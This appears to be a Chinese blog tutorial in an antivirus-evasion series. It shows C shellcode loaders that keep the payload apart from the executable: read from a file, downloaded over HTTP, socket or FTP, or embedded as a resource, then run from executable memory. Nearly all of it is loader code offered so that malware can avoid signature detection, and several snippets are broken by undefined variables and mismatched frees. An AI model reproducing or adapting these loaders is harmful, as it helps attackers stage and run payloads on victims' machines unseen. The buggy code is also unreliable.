Contents

[从零开始的免杀生活]04.分头行动

0x00.序

相信看到这篇文章的你已经看过了这个系列前面的文章了(没看的快去看! 我们知道了如何存储,加密,混淆的进行shellcode的加载,但是我们的ShellCode还是存储在我们可执行文件里面,该篇将介绍 加载器与ShellCode分开的使用情况

0x01.多文件

通过WINAPI 中的 CreateFile 实现读取raw 格式或者 其他格式的shellcode ,然后再进行加载

示例:

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
 typedef v
 DWORD BytesRead = 0;
 //打开文件句柄
 HANDLE hFile = CreateFileA("1.bin",GENERIC_ALL,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
 //读取文件大小
 DWORD dwFileLen = GetFileSize(hFile,0);
 //申请虚拟内存
 unsigned char buffer* = (unsigned char*)VirtualAlloc(0, dwFileLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
 //读文件到虚拟内存中
 ReadFile(hDllFile, buffer, dwFileLen, &BytesRead, 0);
 //关闭文件句柄
 CloseHandle(hFile);
 //利用函数指针执行shellcode
 ((void(*)())buffer)();

0x02.网络加载

通过 winapi 中的 winsocks 模块进行 网络传输shellcode

HTTP

  0
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
    #include <windows.h>
    #include <winhttp.h>
    
    #pragma comment(lib, "winhttp.lib")
    
    bool HttpDownloadBinaryFile(LPCWSTR lpUrl, LPBYTE* ppBuffer, LPDWORD pdwSize)
    {
        bool bRet = false;
    
        // 打开会话句柄
        HINTERNET hSession = WinHttpOpen(L"HttpDownloadBinaryFile/1.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
        if (hSession == NULL)
        {
            // 处理错误
            return false;
        }
    
        // 打开连接句柄
        HINTERNET hConnect = WinHttpConnect(hSession, L"www.baidu.com", INTERNET_DEFAULT_HTTP_PORT, 0);
        if (hConnect == NULL)
        {
            // 处理错误
            WinHttpCloseHandle(hSession);
            return false;
        }
    
        // 打开请求句柄
        HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", L"/a.bin", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
        if (hRequest == NULL)
        {
            // 处理错误
            WinHttpCloseHandle(hConnect);
            WinHttpCloseHandle(hSession);
            return false;
        }
    
        // 发送请求
        if (WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0) == FALSE)
        {
            // 处理错误
            WinHttpCloseHandle(hRequest);
            WinHttpCloseHandle(hConnect);
            WinHttpCloseHandle(hSession);
            return false;
        }
    
        // 接收响应
        if (WinHttpReceiveResponse(hRequest, NULL) == FALSE)
        {
            // 处理错误
            WinHttpCloseHandle(hRequest);
            WinHttpCloseHandle(hConnect);
            WinHttpCloseHandle(hSession);
            return false;
        }
    
        // 查询响应大小
        DWORD dwSize = 0;
        if (WinHttpQueryDataAvailable(hRequest, &dwSize) == FALSE)
        {
            // 处理错误
            WinHttpCloseHandle(hRequest);
            WinHttpCloseHandle(hConnect);
            WinHttpCloseHandle(hSession);
            return false;
        }
    
        // 分配缓冲区
        unsigned char* pBuffer = (unsigned char*)VirtualAlloc(0, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (pBuffer == NULL)
        {
            // 处理错误
            WinHttpCloseHandle(hRequest);
            WinHttpCloseHandle(hConnect);
            WinHttpCloseHandle(hSession);
            return false;
        }
    
        // 读取响应数据
        DWORD dwBytesRead = 0;
        if (WinHttpReadData(hRequest, pBuffer, dwSize, &dwBytesRead) == FALSE)
        {
            // 处理错误
            delete[] pBuffer;
            WinHttpCloseHandle(hRequest);
            WinHttpCloseHandle(hConnect);
            WinHttpCloseHandle(hSession);
            return false;
        }
    
        //执行Shellcode
        ((void(*)())pBuffer)();
    
        // 关闭请求句柄
        WinHttpCloseHandle(hRequest);
    
        // 关闭连接句柄
        WinHttpCloseHandle(hConnect);
    
        // 关闭会话句柄
        WinHttpCloseHandle(hSession);
    
        // 返回缓冲区指针和大小
        *ppBuffer = pBuffer;
    *pdwSize = dwBytesRead;
    
    bRet = true;
    return bRet;
}

Socket传输

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
    WSAStartup(MAKEWORD(2, 2), &wsadata);
    SOCKET clientSocket = {};
    clientSocket = socket(PF_INET, SOCK_STREAM, 0);
    if (SOCKET_ERROR == clientSocket) {
        return 0;
    }
    //绑定套接字	指定绑定的IP地址和端口号
    sockaddr_in socketAddr;
    socketAddr.sin_family = PF_INET;
    socketAddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
    socketAddr.sin_port = htons(1234);
    int cRes = connect(clientSocket, (SOCKADDR*)&socketAddr, sizeof(SOCKADDR));
    if (SOCKET_ERROR == cRes) {
        return -1;
    }
    char sendBuf[] = "getshellcode"; //发送标志
    send(clientSocket, sendBuf, strlen(sendBuf), 0);
    //发送/接受 数据
    int sc_len=1024;
    unsigned char *recvBuf =(unsigned char*)VirtualAlloc(0, sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    recv(clientSocket,recvBuf, sc_len, 0);
    //执行Shellcode
    ((void(*)())pBuffer)();
    
    closesocket(clientSocket);
    WSACleanup();
    delete[] recvBuf;

FTP

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
    #include <Windows.h>
    #include <wininet.h>
    #include <tchar.h>
    
    #pragma comment(lib, "wininet.lib")
    
    int main()
    {
    HINTERNET hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (!hInternet)
    {
        _tprintf(_T("Failed to open Internet handle. Error code: %d\n"), GetLastError());
        return 1;
    }
    //设置ip,用户名,密码
    HINTERNET hFtpSession = InternetConnect(hInternet, _T("ftp.example.com"), INTERNET_DEFAULT_FTP_PORT,_T("username"), _T("password"), INTERNET_SERVICE_FTP, 0, 0);
    if (!hFtpSession)
    {
        _tprintf(_T("Failed to connect to FTP server. Error code: %d\n"), GetLastError());
        InternetCloseHandle(hInternet);
        return 1;
    }
    //设置FTP文件夹
    if (!FtpSetCurrentDirectory(hFtpSession, _T("path/to/ftp/folder")))
    {
        _tprintf(_T("Failed to set current directory. Error code: %d\n"), GetLastError());
        InternetCloseHandle(hFtpSession);
        InternetCloseHandle(hInternet);
        return 1;
    }
    //设置要下载的文件
    HINTERNET hFtpFile = FtpOpenFile(hFtpSession, _T("example.txt"), GENERIC_READ, FTP_TRANSFER_TYPE_BINARY, 0);
    if (!hFtpFile)
    {
        _tprintf(_T("Failed to open FTP file. Error code: %d\n"), GetLastError());
        InternetCloseHandle(hFtpSession);
        InternetCloseHandle(hInternet);
        return 1;
    }
    
    const int kBufferSize = 1024; //设置ShellCode大小
    unsigned char buffer* =(unsigned char*)VirtualAlloc(0, kBufferSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);;
    DWORD bytesRead = 0;
    BOOL result = FALSE;
    
    do
    {
        result = InternetReadFile(hFtpFile, buffer, kBufferSize, &bytesRead);
        if (!result)
        {
            _tprintf(_T("Failed to read FTP file. Error code: %d\n"), GetLastError());
            InternetCloseHandle(hFtpFile);
            InternetCloseHandle(hFtpSession);
            InternetCloseHandle(hInternet);
            return 1;
        }
    
        if (bytesRead > 0)
        {


            
        }
    
    } while (result && bytesRead > 0);
    // 在这进行shellcode加载
    // 函数指针加载shellcode
    ((void(*)())pBuffer)();
    
    //
    InternetCloseHandle(hFtpFile);
    InternetCloseHandle(hFtpSession);
    InternetCloseHandle(hInternet);
    
    return 0;
}

0x03.资源

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
    #include <windows.h>
    
    int main()
    {
        // 加载资源文件
        HRSRC hResInfo = FindResource(NULL, MAKEINTRESOURCE(IDR_MY_RESOURCE), RT_RCDATA);
        if (hResInfo == NULL)
        {
            return 0;
        }
        // 获取资源数据的大小
        DWORD dwResSize = SizeofResource(NULL, hResInfo);
        // 加载资源数据
        HGLOBAL hResData = LoadResource(NULL, hResInfo);
        if (hResData == NULL)
        {
            return 0;
        }
        // 锁定资源数据
        LPVOID lpResData = LockResource(hResData);
        if (lpResData == NULL)
        {
            return 0;
        }
    
        // 将资源数据转换为字节数组
        unsigned char* pBuffer = (unsigned char*)VirtualAlloc(0, dwResSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        memcpy(pBuffer, lpResData, dwResSize);
    
        // 函数指针加载shellcode
        ((void(*)())pBuffer)();
        // 释放资源数据
        delete[] pBuffer;
        FreeResource(hResData);
    
        return 0;
    }

0x04.总结

通过分离实现对AV对特征码的查杀能够达到很好的效果